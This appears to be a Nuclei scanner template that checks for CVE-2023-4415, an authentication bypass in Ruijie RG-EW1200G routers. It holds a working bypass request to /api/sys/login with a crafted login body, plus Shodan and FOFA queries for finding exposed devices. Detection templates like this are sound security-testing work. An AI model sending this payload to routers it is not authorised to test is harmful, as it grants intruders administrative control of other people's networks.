id: CVE-2023-4415

info:
  name: Ruijie RG-EW1200G Router Background - Login Bypass
  author: DhiyaneshDK
  severity: high
  description: |
    A vulnerability was found in Ruijie RG-EW1200G 07161417 r483. It has been rated as critical. Affected by this issue is some unknown functionality of the file /api/sys/login. The manipulation leads to improper authentication. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-237518 is the identifier assigned to this vulnerability.
  impact: |
    Attackers can bypass authentication on the Ruijie RG-EW1200G router through improper authentication checks in the login API, potentially gaining administrative access to the router and compromising network security.
  remediation: |
    Update Ruijie RG-EW1200G firmware to a version newer than 07161417 r483 that implements proper authentication validation in the login API.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4415
    - https://github.com/blakespire/repoforcve/tree/main/RG-EW1200G-logic
    - https://vuldb.com/?ctiid.237518
    - https://vuldb.com/?id.237518
    - https://github.com/thedarknessdied/Ruijie_RG-EW1200G_login_bypass-CVE-2023-4415
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-4415
    cwe-id: CWE-287
    epss-score: 0.89966
    epss-percentile: 0.99594
    cpe: cpe:2.3:o:ruijienetworks:rg-ew1200g_firmware:07161417_r483:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ruijienetworks
    product: rg-ew1200g_firmware
    shodan-query: http.html:"app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"
    fofa-query: body="app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"
  tags: cve2023,cve,ruijie,router,ruijienetworks,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/sys/login"

    body: |
      {
        "username":"2",
        "password":"admin",
        "timestamp":1695218596000
      }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result":"ok"'
          - '"msg":"登入成功"'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a00473045022064615a92c798b1951b8e42dfd37f90e798b0dffc7d916d0940467eebed3b4b6a022100ccd88f5570f9d17b0d56ca44bf17eede0e96f9e83cacb4014f1d048637fca238:922c64590222798bb761d5b6d8e72950